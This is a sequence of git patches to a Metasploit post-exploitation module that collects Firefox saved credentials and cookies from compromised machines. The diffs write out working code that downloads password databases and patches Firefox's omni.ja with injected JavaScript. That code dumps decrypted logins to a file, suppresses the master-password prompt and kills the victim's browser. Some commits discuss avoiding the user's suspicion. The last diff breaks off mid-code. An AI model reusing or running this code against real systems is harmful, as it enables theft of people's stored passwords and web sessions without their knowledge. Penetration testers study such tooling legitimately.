From 182863f1a451e3e50b2da636934065b0137d1d64 Mon Sep 17 00:00:00 2001 From: xard4s Date: Tue, 4 Jun 2013 17:15:42 -0400 Subject: [PATCH 001/246] addressing feedback/updated description --- modules/post/multi/gather/firefox_creds.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index c32724774d..54de741718 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -33,8 +33,9 @@ class Metasploit3 < Msf::Post keys3.db file which contains the key for decrypting these passwords. In cases where a Master Password has not been set, the passwords can easily be decrypted using third party tools or by setting the DECRYPT option to true. Using the latter often - needs root privileges. If a Master Password was used the only option would be - to bruteforce. + needs root privileges. Also be warned that if your session dies in the middle of the + file renaming process, this could leave Firefox in a non working state. If a + Master Password was used the only option would be to bruteforce. }, 'License' => MSF_LICENSE, 'Author' => @@ -74,6 +75,11 @@ class Metasploit3 < Msf::Post end if datastore['DECRYPT'] + print_line() + print_warning("Please be aware of that if your session dies while file renaming,") + print_warning("this could leave Firefox in a non working state. This option needs") + print_warning("some extra time to accomplish the task.\n") + omnija = nil org_file = 'omni.ja' new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" From bc7066a8b686aa55a0a328b1411164a6f4b10096 Mon Sep 17 00:00:00 2001 From: xard4s Date: Thu, 6 Jun 2013 08:02:32 -0400 Subject: [PATCH 002/246] added user warnings --- modules/post/multi/gather/firefox_creds.rb | 44 +++++++++++++++------- 1 file changed, 30 insertions(+), 14 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 54de741718..bffa7f285c 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -16,6 +16,7 @@ require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post + include Rex::Ui::Interactive include Msf::Post::File include Msf::Post::Common include Msf::Auxiliary::Report @@ -75,11 +76,6 @@ class Metasploit3 < Msf::Post end if datastore['DECRYPT'] - print_line() - print_warning("Please be aware of that if your session dies while file renaming,") - print_warning("this could leave Firefox in a non working state. This option needs") - print_warning("some extra time to accomplish the task.\n") - omnija = nil org_file = 'omni.ja' new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" @@ -116,6 +112,7 @@ class Metasploit3 < Msf::Post return end print_status("Uploading #{new_file} to #{@paths['ff']}") + print_warning("This takes some extra time") if @platform =~ /unix|osx/ if not upload_file(@paths['ff']+new_file, tmp) print_error("Could not upload #{new_file}") return @@ -477,10 +474,16 @@ class Metasploit3 < Msf::Post if session.type == "meterpreter" session.sys.process.each_process do |p| if p['name'] =~ /firefox\.exe/ - print_status("Found running Firefox process, attempting to kill.") - if not session.sys.process.kill(p['pid']) - print_error("Could not kill Firefox process") - return false + print_status("Found running Firefox process") + continue = warn_user() + if continue + if not session.sys.process.kill(p['pid']) + print_error("Could not kill Firefox process") + return false + end + else + file_rm(new_file) + return false end end end @@ -488,11 +491,17 @@ class Metasploit3 < Msf::Post elsif session.type != "meterpreter" p = cmd_exec("ps", "cax | grep firefox") if p =~ /firefox/ - print_status("Found running Firefox process, attempting to kill.") - term = cmd_exec("killall", "firefox && echo true") - if not term =~ /true/ - print_error("Could not kill Firefox process") - return false + print_status("Found running Firefox process") + continue = warn_user() + if continue + term = cmd_exec("killall", "firefox && echo true") + if not term =~ /true/ + print_error("Could not kill Firefox process") + return false + end + else + file_rm(new_file) + return false end end end @@ -526,6 +535,13 @@ class Metasploit3 < Msf::Post end + def warn_user() + print_warning("In order to proceed, the running Firefox process must be killed.") + print_warning("Keep in mind that this leaves visual evidence on the victim machine and") + print_warning("if the user is paying attention, this could make him/her suspicious.") + return prompt_yesno("Do you want to continue?") + end + def download_loot(paths) loot = "" paths.each do |path| From 1953473e1f59e0a16d5b3b8ab581156573a526ee Mon Sep 17 00:00:00 2001 From: xard4s Date: Mon, 10 Jun 2013 16:09:31 -0400 Subject: [PATCH 003/246] added advanced option --- modules/post/multi/gather/firefox_creds.rb | 51 ++++++++++------------ 1 file changed, 22 insertions(+), 29 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index bffa7f285c..6c666e8d0f 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -16,7 +16,6 @@ require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post - include Rex::Ui::Interactive include Msf::Post::File include Msf::Post::Common include Msf::Auxiliary::Report @@ -53,6 +52,12 @@ class Metasploit3 < Msf::Post OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false]) ] ) + + register_advanced_options( + [ + OptBool.new('DISCLAIMER', [false, 'Acknowledge the warning', false]) + ] + ) #TODO # - Collect cookies. end @@ -76,6 +81,13 @@ class Metasploit3 < Msf::Post end if datastore['DECRYPT'] + if not datastore['DISCLAIMER'] + print_warning("Decrypting the keys causes the possible remote Firefox process to be,") + print_warning("killed. If the user is paying attention, this could make him/her suspicious.") + print_warning("In order to proceed, set the advanced DISCLAIMER option to true.") + return + end + omnija = nil org_file = 'omni.ja' new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" @@ -474,16 +486,10 @@ class Metasploit3 < Msf::Post if session.type == "meterpreter" session.sys.process.each_process do |p| if p['name'] =~ /firefox\.exe/ - print_status("Found running Firefox process") - continue = warn_user() - if continue - if not session.sys.process.kill(p['pid']) - print_error("Could not kill Firefox process") - return false - end - else - file_rm(new_file) - return false + print_status("Found running Firefox process, attempting to kill.") + if not session.sys.process.kill(p['pid']) + print_error("Could not kill Firefox process") + return false end end end @@ -491,17 +497,11 @@ class Metasploit3 < Msf::Post elsif session.type != "meterpreter" p = cmd_exec("ps", "cax | grep firefox") if p =~ /firefox/ - print_status("Found running Firefox process") - continue = warn_user() - if continue - term = cmd_exec("killall", "firefox && echo true") - if not term =~ /true/ - print_error("Could not kill Firefox process") - return false - end - else - file_rm(new_file) - return false + print_status("Found running Firefox process, attempting to kill.") + term = cmd_exec("killall", "firefox && echo true") + if not term =~ /true/ + print_error("Could not kill Firefox process") + return false end end end @@ -535,13 +535,6 @@ class Metasploit3 < Msf::Post end - def warn_user() - print_warning("In order to proceed, the running Firefox process must be killed.") - print_warning("Keep in mind that this leaves visual evidence on the victim machine and") - print_warning("if the user is paying attention, this could make him/her suspicious.") - return prompt_yesno("Do you want to continue?") - end - def download_loot(paths) loot = "" paths.each do |path| From b720fc215b6e7c98bcfb83c23d38822a75915b32 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:40:18 -0500 Subject: [PATCH 004/246] Retab changes for PR #1910 --- modules/post/multi/gather/firefox_creds.rb | 1276 ++++++++++---------- 1 file changed, 638 insertions(+), 638 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 6c666e8d0f..3e8b02b84e 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -16,642 +16,642 @@ require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post - include Msf::Post::File - include Msf::Post::Common - include Msf::Auxiliary::Report - include Msf::Post::Windows::UserProfiles - - def initialize(info={}) - super( update_info(info, - 'Name' => 'Multi Gather Firefox Signon Credential Collection', - 'Description' => %q{ - This module will collect credentials from the Firefox web browser if it is - installed on the targeted machine. Additionally, cookies are downloaded. Which - could potentially yield valid web sessions. - - Firefox stores passwords within the signons.sqlite database file. There is also a - keys3.db file which contains the key for decrypting these passwords. In cases where - a Master Password has not been set, the passwords can easily be decrypted using - third party tools or by setting the DECRYPT option to true. Using the latter often - needs root privileges. Also be warned that if your session dies in the middle of the - file renaming process, this could leave Firefox in a non working state. If a - Master Password was used the only option would be to bruteforce. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'bannedit', - 'xard4s' # added decryption support - ], - 'Platform' => ['win', 'linux', 'bsd', 'unix', 'osx'], - 'SessionTypes' => ['meterpreter', 'shell' ] - )) - - register_options( - [ - OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false]) - ] - ) - - register_advanced_options( - [ - OptBool.new('DISCLAIMER', [false, 'Acknowledge the warning', false]) - ] - ) - #TODO - # - Collect cookies. - end - - def run - print_status("Determining session platform and type...") - case session.platform - when /unix|linux|bsd/ - @platform = :unix - when /osx/ - @platform = :osx - when /win/ - if session.type != "meterpreter" - print_error "Only meterpreter sessions are supported on windows hosts" - return - end - @platform = :windows - else - print_error("Unsupported platform #{session.platform}") - return - end - - if datastore['DECRYPT'] - if not datastore['DISCLAIMER'] - print_warning("Decrypting the keys causes the possible remote Firefox process to be,") - print_warning("killed. If the user is paying attention, this could make him/her suspicious.") - print_warning("In order to proceed, set the advanced DISCLAIMER option to true.") - return - end - - omnija = nil - org_file = 'omni.ja' - new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" - - # sets @paths - return unless get_ff_and_loot_path - - print_status("Downloading #{org_file} from #{@paths['ff']}") - omnija = read_file(@paths['ff']+org_file) - if omnija.nil? or omnija.empty? or omnija =~ /No such file/i - print_error("Could not download #{org_file}, archive may not exist") - return - end - # cross platform local tempdir, "/" should work on windows too - tmp = Dir::tmpdir + "/" + new_file - print_status("Writing #{org_file} to local file: #{tmp}") - file_local_write(tmp, omnija) - res = nil - print_status("Extracting and modifying #{new_file}...") - begin - # automatically commits the changes made to the zip archive when - # the block terminates - Zip::ZipFile.open(tmp) do |zip_file| - res = modify_omnija(zip_file) - end - rescue Zip::ZipError => e - print_error("Error modifying #{new_file}") - return - end - if res - print_status("Successfully modified #{new_file}") - else - print_error("Failed to patch method") - return - end - print_status("Uploading #{new_file} to #{@paths['ff']}") - print_warning("This takes some extra time") if @platform =~ /unix|osx/ - if not upload_file(@paths['ff']+new_file, tmp) - print_error("Could not upload #{new_file}") - return - end - - return if not trigger_decrypt(org_file, new_file) - - download_creds - else - paths = [] - if @platform =~ /unix|osx/ - paths = enum_users_unix - else # windows - grab_user_profiles().each do |user| - next if user['AppData'] == nil - dir = check_firefox(user['AppData']) - if dir - paths << dir - end - end - end - - if paths.nil? - print_error("No users found with a Firefox directory") - return - end - - download_loot(paths.flatten) - - end - - end - - def enum_users_unix - id = whoami - if id.nil? or id.empty? - print_error("This session is not responding, perhaps the session is dead") - end - - if @platform == :osx - home = "/Users/" - else - home = "/home/" - end - - if got_root? - userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n") - userdirs << "/root\n" - else - print_status("We do not have root privileges") - print_status("Checking #{id} account for Firefox") - if @platform == :osx - firefox = session.shell_command("ls #{home}#{id}/Library/Application\\ Support/Firefox/Profiles/").gsub(/\s/, "\n") - else - firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n") - end - - firefox.each_line do |profile| - profile.chomp! - next if profile =~ /No such file/i - - if profile =~ /\.default/ - print_status("Found Firefox Profile for: #{id}") - if @platform == :osx - return [home + id + "/Library/Application\\ Support/Firefox/Profiles/" + profile + "/"] - else - return [home + id + "/.mozilla/" + "firefox/" + profile + "/"] - end - end - end - return - end - - # we got root check all user dirs - paths = [] - userdirs.each_line do |dir| - dir.chomp! - next if dir == "." || dir == ".." - - dir = home + dir + "/.mozilla/firefox/" if dir !~ /root/ - if dir =~ /root/ - dir += "/.mozilla/firefox/" - end - - print_status("Checking for Firefox Profile in: #{dir}") - - stat = session.shell_command("ls #{dir}") - if stat =~ /No such file/i - print_error("Mozilla not found in #{dir}") - next - end - stat.gsub!(/\s/, "\n") - stat.each_line do |profile| - profile.chomp! - if profile =~ /\.default/ - print_status("Found Firefox Profile in: #{dir+profile}") - paths << "#{dir+profile}" - end - end - end - return paths - end - - def check_firefox(path) - paths = [] - path = path + "\\Mozilla\\" - print_status("Checking for Firefox directory in: #{path}") - - stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil - if !stat - print_error("Firefox not found") - return - end - - session.fs.dir.foreach(path) do |fdir| - if fdir =~ /Firefox/i and @platform == :windows - paths << path + fdir + "Profiles\\" - print_good("Found Firefox installed") - break - else - paths << path + fdir - print_status("Found Firefox installed") - break - end - end - - if paths.empty? - print_error("Firefox not found") - return - end - - print_status("Locating Firefox Profiles...") - print_line("") - path += "Firefox\\Profiles\\" - - # we should only have profiles in the Profiles directory store them all - begin - session.fs.dir.foreach(path) do |pdirs| - next if pdirs == "." or pdirs == ".." - print_good("Found Profile #{pdirs}") - paths << path + pdirs - end - rescue - print_error("Profiles directory missing") - return - end - - if paths.empty? - return nil - else - return paths - end - end - - # checks for needed privileges and wheter Firefox is installed - def get_ff_and_loot_path - @paths = {} - check_paths = [] - drive = expand_path("%SystemDrive%") - loot_file = Rex::Text::rand_text_alpha(6) + ".txt" - - case @platform - when /win/ - if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i - print_error("You need root privileges on this platform for DECRYPT option") - return false - end - tmpdir = expand_path("%TEMP%") + "\\" - # this way allows for more independent use of meterpreter - # payload (32 and 64 bit) and cleaner code - check_paths << drive + '\\Program Files\\Mozilla Firefox\\' - check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\' - - when /unix/ - tmpdir = '/tmp/' - if cmd_exec("whoami").chomp !~ /root/ - print_error("You need root privileges on this platform for DECRYPT option") - return false - end - # unix matches linux|unix|bsd but bsd is not supported - if session.platform =~ /bsd/ - print_error("Sorry, bsd is not supported by the DECRYPT option") - return false - end - - check_paths << '/usr/lib/firefox/' - check_paths << '/usr/lib64/firefox/' - - when /osx/ - tmpdir = '/tmp/' - check_paths << '/applications/firefox.app/contents/macos/' - end - - @paths['ff'] = check_paths.find do |p| - check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '') - print_status("Checking for Firefox directory in: #{check}") - if directory?(p.sub(/(\\|\/)$/, '')) - print_good("Found Firefox directory") - true - else - print_error("No Firefox directory found") - false - end - end - - return false if @paths['ff'].nil? - - @paths['loot'] = tmpdir + loot_file - return true - - end - - def modify_omnija(zip) - files = [ - 'components/storage-mozStorage.js', - 'chrome/toolkit/content/passwordmgr/passwordManager.xul', - 'chrome/toolkit/content/global/commonDialog.xul', - 'jsloader/resource/gre/components/storage-mozStorage.js' - ] - - arya = files.map do |file| - fdata = {} - fdata['content'] = zip.read(file) unless file =~ /jsloader/ - fdata['outs'] = zip.get_output_stream(file) - fdata - end - - stor_js, pwd_xul, dlog_xul, res_js = arya - stor_js['outs_res'] = res_js['outs'] - - wnd_close = "window.close();" - onload = "Startup(); SignonsStartup(); #{wnd_close}" - - # get rid of (possible) master password prompt and close pwd - # manager immediately - dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close) - dlog_xul['outs'].write(dlog_xul['content']) - dlog_xul['outs'].close - - pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload) - pwd_xul['outs'].write(pwd_xul['content']) - pwd_xul['outs'].close - - # returns true or false - return patch_method(stor_js) - - end - - # Patches getAllLogins() method from storage-mozStorage.js - def patch_method(stor_js) - data = "" - # imports needed for IO - imports = %Q| - Components.utils.import("resource://gre/modules/NetUtil.jsm"); - Components.utils.import("resource://gre/modules/FileUtils.jsm"); - Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); - | - - # Javascript code to intercept the logins array and write the - # credentials to a file - method_epilog = %Q| - var data = ""; - var path = "#{@paths['loot'].inspect.gsub(/"/, '')}"; - var file = new FileUtils.File(path); - - var outstream = FileUtils.openSafeFileOutputStream(file); - var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"]. - createInstance(Components.interfaces.nsIScriptableUnicodeConverter); - converter.charset = "UTF-8"; - - if (logins.length != 0) { - for (var i = 0; i < logins.length; i++) { - - data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^"; - - } - - } else { - data = "no creds"; - } - - var istream = converter.convertToInputStream(data); - NetUtil.asyncCopy(istream, outstream); - - return logins; - | - - regex = [ - nil, - [/return\slogins;/, method_epilog], - [/getAllLogins\s:\sfunction\s\(count\)\s{/, nil], - [/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports] - ] - - # match three regular expressions - i = 3 - stor_js['content'].each_line do |line| - # there is no real substitution if the matching regex - # has no corresponding patch code - if i != 0 and line.sub!(regex[i][0]) do |match| - if not regex[i][1].nil? - regex[i][1] - else - line - end - end - i -= 1 - end - - data << line - - end - - # write the same data to both output streams - stor_js['outs'].write(data) - stor_js['outs_res'].write(data) - stor_js['outs'].close - stor_js['outs_res'].close - - i == 0 ? 'return true' : 'return false' - - end - - # Starts a new firefox process and triggers decryption - def trigger_decrypt(org_file, new_file) - temp_file = "orgomni.ja" - [org_file, new_file, temp_file].each do |f| - f.insert(0, @paths['ff']) - end - # firefox command line arguments - args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul' - - # In case of unix-like platform Firefox needs to start under user - # context - if @platform =~ /unix/ - - # assuming userdir /home/(x) = user - print_status("Enumerating users...") - users = cmd_exec("ls /home") - if users.nil? or users.empty? - print_error("No normal user found") - return false - end - user = users.split()[0] - # Since we can't access the display environment variable - # we have to assume the default value - args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ") - args << "\"" - cmd = "su #{user} -c" - - elsif @platform =~ /win|osx/ - - cmd = @paths['ff'] + "firefox" - # on osx, run in background - args << "& sleep 5 && killall firefox" if @platform =~ /osx/ - end - - # check if firefox is running and kill it - if session.type == "meterpreter" - session.sys.process.each_process do |p| - if p['name'] =~ /firefox\.exe/ - print_status("Found running Firefox process, attempting to kill.") - if not session.sys.process.kill(p['pid']) - print_error("Could not kill Firefox process") - return false - end - end - end - - elsif session.type != "meterpreter" - p = cmd_exec("ps", "cax | grep firefox") - if p =~ /firefox/ - print_status("Found running Firefox process, attempting to kill.") - term = cmd_exec("killall", "firefox && echo true") - if not term =~ /true/ - print_error("Could not kill Firefox process") - return false - end - end - end - # - # rename-fu - # omni.ja -> orgomni.ja - # *random*.ja -> omni.ja - # omni.ja -> *random*.ja - # orgomni.ja -> omni.ja - # - rename_file(org_file, temp_file) - rename_file(new_file, org_file) - - # automatic termination ( window.close() or arguments) - print_status("Starting Firefox process") - cmd_exec(cmd,args) - - rename_file(org_file, new_file) - rename_file(temp_file, org_file) - - # clean up - file_rm(new_file) - - # at this time it should have a loot file - if !file?(@paths['loot']) - print_error("Decryption failed, there's probably a master password in use") - return false - end - - return true - - end - - def download_loot(paths) - loot = "" - paths.each do |path| - print_status(path) - profile = path.scan(/Profiles[\\|\/](.+)$/).flatten[0].to_s - if session.type == "meterpreter" - session.fs.dir.foreach(path) do |file| - if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/ - print_good("Downloading #{file} file from: #{path}") - file = path + "\\" + file - fd = session.fs.file.new(file) - begin - until fd.eof? - data = fd.read - loot << data if not data.nil? - end - rescue EOFError - ensure - fd.close - end - - ext = file.split('.')[2] - if ext == "txt" - mime = "plain" - else - mime = "binary" - end - file = file.split('\\').last - store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") - end - end - end - if session.type != "meterpreter" - files = session.shell_command("ls #{path}").gsub(/\s/, "\n") - files.each_line do |file| - file.chomp! - if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/ - print_good("Downloading #{file}\\") - data = session.shell_command("cat #{path}#{file}") - ext = file.split('.')[2] - if ext == "txt" - mime = "plain" - else - mime = "binary" - end - file = file.split('/').last - store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") - end - end - end - end - end - - def download_creds - print_good("Downloading loot: #{@paths['loot']}") - loot = read_file(@paths['loot']) - - if loot =~ /no creds/ - print_status("No Firefox credentials where found") - return - end - - cred_table = Rex::Ui::Text::Table.new( - 'Header' => 'Firefox credentials', - 'Indent' => 1, - 'Columns'=> - [ - 'Hostname', - 'User', - 'Password' - ] - ) - - creds = loot.split("^") - creds.each do |cred| - hostname, user, pass = cred.rstrip.split(" :: ") - cred_table << [hostname, user, pass] - end - - print_line("\n" + cred_table.to_s) - - path = store_loot( - "firefox.creds", - "text/plain", - session, - cred_table.to_csv, - "firefox_credentials.txt", - "Firefox Credentials") - - # better delete the remote creds file - file_rm(@paths['loot']) - - end - - def got_root? - case @platform - when :windows - if session.sys.config.getuid =~ /SYSTEM/ - return true - else - return false - end - else # unix, bsd, linux, osx - ret = whoami - if ret =~ /root/ - return true - else - return false - end - end - end - - def whoami - if @platform == :windows - return session.fs.file.expand_path("%USERNAME%") - else - return session.shell_command("whoami").chomp - end - end + include Msf::Post::File + include Msf::Post::Common + include Msf::Auxiliary::Report + include Msf::Post::Windows::UserProfiles + + def initialize(info={}) + super( update_info(info, + 'Name' => 'Multi Gather Firefox Signon Credential Collection', + 'Description' => %q{ + This module will collect credentials from the Firefox web browser if it is + installed on the targeted machine. Additionally, cookies are downloaded. Which + could potentially yield valid web sessions. + + Firefox stores passwords within the signons.sqlite database file. There is also a + keys3.db file which contains the key for decrypting these passwords. In cases where + a Master Password has not been set, the passwords can easily be decrypted using + third party tools or by setting the DECRYPT option to true. Using the latter often + needs root privileges. Also be warned that if your session dies in the middle of the + file renaming process, this could leave Firefox in a non working state. If a + Master Password was used the only option would be to bruteforce. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bannedit', + 'xard4s' # added decryption support + ], + 'Platform' => ['win', 'linux', 'bsd', 'unix', 'osx'], + 'SessionTypes' => ['meterpreter', 'shell' ] + )) + + register_options( + [ + OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false]) + ] + ) + + register_advanced_options( + [ + OptBool.new('DISCLAIMER', [false, 'Acknowledge the warning', false]) + ] + ) + #TODO + # - Collect cookies. + end + + def run + print_status("Determining session platform and type...") + case session.platform + when /unix|linux|bsd/ + @platform = :unix + when /osx/ + @platform = :osx + when /win/ + if session.type != "meterpreter" + print_error "Only meterpreter sessions are supported on windows hosts" + return + end + @platform = :windows + else + print_error("Unsupported platform #{session.platform}") + return + end + + if datastore['DECRYPT'] + if not datastore['DISCLAIMER'] + print_warning("Decrypting the keys causes the possible remote Firefox process to be,") + print_warning("killed. If the user is paying attention, this could make him/her suspicious.") + print_warning("In order to proceed, set the advanced DISCLAIMER option to true.") + return + end + + omnija = nil + org_file = 'omni.ja' + new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" + + # sets @paths + return unless get_ff_and_loot_path + + print_status("Downloading #{org_file} from #{@paths['ff']}") + omnija = read_file(@paths['ff']+org_file) + if omnija.nil? or omnija.empty? or omnija =~ /No such file/i + print_error("Could not download #{org_file}, archive may not exist") + return + end + # cross platform local tempdir, "/" should work on windows too + tmp = Dir::tmpdir + "/" + new_file + print_status("Writing #{org_file} to local file: #{tmp}") + file_local_write(tmp, omnija) + res = nil + print_status("Extracting and modifying #{new_file}...") + begin + # automatically commits the changes made to the zip archive when + # the block terminates + Zip::ZipFile.open(tmp) do |zip_file| + res = modify_omnija(zip_file) + end + rescue Zip::ZipError => e + print_error("Error modifying #{new_file}") + return + end + if res + print_status("Successfully modified #{new_file}") + else + print_error("Failed to patch method") + return + end + print_status("Uploading #{new_file} to #{@paths['ff']}") + print_warning("This takes some extra time") if @platform =~ /unix|osx/ + if not upload_file(@paths['ff']+new_file, tmp) + print_error("Could not upload #{new_file}") + return + end + + return if not trigger_decrypt(org_file, new_file) + + download_creds + else + paths = [] + if @platform =~ /unix|osx/ + paths = enum_users_unix + else # windows + grab_user_profiles().each do |user| + next if user['AppData'] == nil + dir = check_firefox(user['AppData']) + if dir + paths << dir + end + end + end + + if paths.nil? + print_error("No users found with a Firefox directory") + return + end + + download_loot(paths.flatten) + + end + + end + + def enum_users_unix + id = whoami + if id.nil? or id.empty? + print_error("This session is not responding, perhaps the session is dead") + end + + if @platform == :osx + home = "/Users/" + else + home = "/home/" + end + + if got_root? + userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n") + userdirs << "/root\n" + else + print_status("We do not have root privileges") + print_status("Checking #{id} account for Firefox") + if @platform == :osx + firefox = session.shell_command("ls #{home}#{id}/Library/Application\\ Support/Firefox/Profiles/").gsub(/\s/, "\n") + else + firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n") + end + + firefox.each_line do |profile| + profile.chomp! + next if profile =~ /No such file/i + + if profile =~ /\.default/ + print_status("Found Firefox Profile for: #{id}") + if @platform == :osx + return [home + id + "/Library/Application\\ Support/Firefox/Profiles/" + profile + "/"] + else + return [home + id + "/.mozilla/" + "firefox/" + profile + "/"] + end + end + end + return + end + + # we got root check all user dirs + paths = [] + userdirs.each_line do |dir| + dir.chomp! + next if dir == "." || dir == ".." + + dir = home + dir + "/.mozilla/firefox/" if dir !~ /root/ + if dir =~ /root/ + dir += "/.mozilla/firefox/" + end + + print_status("Checking for Firefox Profile in: #{dir}") + + stat = session.shell_command("ls #{dir}") + if stat =~ /No such file/i + print_error("Mozilla not found in #{dir}") + next + end + stat.gsub!(/\s/, "\n") + stat.each_line do |profile| + profile.chomp! + if profile =~ /\.default/ + print_status("Found Firefox Profile in: #{dir+profile}") + paths << "#{dir+profile}" + end + end + end + return paths + end + + def check_firefox(path) + paths = [] + path = path + "\\Mozilla\\" + print_status("Checking for Firefox directory in: #{path}") + + stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil + if !stat + print_error("Firefox not found") + return + end + + session.fs.dir.foreach(path) do |fdir| + if fdir =~ /Firefox/i and @platform == :windows + paths << path + fdir + "Profiles\\" + print_good("Found Firefox installed") + break + else + paths << path + fdir + print_status("Found Firefox installed") + break + end + end + + if paths.empty? + print_error("Firefox not found") + return + end + + print_status("Locating Firefox Profiles...") + print_line("") + path += "Firefox\\Profiles\\" + + # we should only have profiles in the Profiles directory store them all + begin + session.fs.dir.foreach(path) do |pdirs| + next if pdirs == "." or pdirs == ".." + print_good("Found Profile #{pdirs}") + paths << path + pdirs + end + rescue + print_error("Profiles directory missing") + return + end + + if paths.empty? + return nil + else + return paths + end + end + + # checks for needed privileges and wheter Firefox is installed + def get_ff_and_loot_path + @paths = {} + check_paths = [] + drive = expand_path("%SystemDrive%") + loot_file = Rex::Text::rand_text_alpha(6) + ".txt" + + case @platform + when /win/ + if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i + print_error("You need root privileges on this platform for DECRYPT option") + return false + end + tmpdir = expand_path("%TEMP%") + "\\" + # this way allows for more independent use of meterpreter + # payload (32 and 64 bit) and cleaner code + check_paths << drive + '\\Program Files\\Mozilla Firefox\\' + check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\' + + when /unix/ + tmpdir = '/tmp/' + if cmd_exec("whoami").chomp !~ /root/ + print_error("You need root privileges on this platform for DECRYPT option") + return false + end + # unix matches linux|unix|bsd but bsd is not supported + if session.platform =~ /bsd/ + print_error("Sorry, bsd is not supported by the DECRYPT option") + return false + end + + check_paths << '/usr/lib/firefox/' + check_paths << '/usr/lib64/firefox/' + + when /osx/ + tmpdir = '/tmp/' + check_paths << '/applications/firefox.app/contents/macos/' + end + + @paths['ff'] = check_paths.find do |p| + check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '') + print_status("Checking for Firefox directory in: #{check}") + if directory?(p.sub(/(\\|\/)$/, '')) + print_good("Found Firefox directory") + true + else + print_error("No Firefox directory found") + false + end + end + + return false if @paths['ff'].nil? + + @paths['loot'] = tmpdir + loot_file + return true + + end + + def modify_omnija(zip) + files = [ + 'components/storage-mozStorage.js', + 'chrome/toolkit/content/passwordmgr/passwordManager.xul', + 'chrome/toolkit/content/global/commonDialog.xul', + 'jsloader/resource/gre/components/storage-mozStorage.js' + ] + + arya = files.map do |file| + fdata = {} + fdata['content'] = zip.read(file) unless file =~ /jsloader/ + fdata['outs'] = zip.get_output_stream(file) + fdata + end + + stor_js, pwd_xul, dlog_xul, res_js = arya + stor_js['outs_res'] = res_js['outs'] + + wnd_close = "window.close();" + onload = "Startup(); SignonsStartup(); #{wnd_close}" + + # get rid of (possible) master password prompt and close pwd + # manager immediately + dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close) + dlog_xul['outs'].write(dlog_xul['content']) + dlog_xul['outs'].close + + pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload) + pwd_xul['outs'].write(pwd_xul['content']) + pwd_xul['outs'].close + + # returns true or false + return patch_method(stor_js) + + end + + # Patches getAllLogins() method from storage-mozStorage.js + def patch_method(stor_js) + data = "" + # imports needed for IO + imports = %Q| + Components.utils.import("resource://gre/modules/NetUtil.jsm"); + Components.utils.import("resource://gre/modules/FileUtils.jsm"); + Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); + | + + # Javascript code to intercept the logins array and write the + # credentials to a file + method_epilog = %Q| + var data = ""; + var path = "#{@paths['loot'].inspect.gsub(/"/, '')}"; + var file = new FileUtils.File(path); + + var outstream = FileUtils.openSafeFileOutputStream(file); + var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"]. + createInstance(Components.interfaces.nsIScriptableUnicodeConverter); + converter.charset = "UTF-8"; + + if (logins.length != 0) { + for (var i = 0; i < logins.length; i++) { + + data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^"; + + } + + } else { + data = "no creds"; + } + + var istream = converter.convertToInputStream(data); + NetUtil.asyncCopy(istream, outstream); + + return logins; + | + + regex = [ + nil, + [/return\slogins;/, method_epilog], + 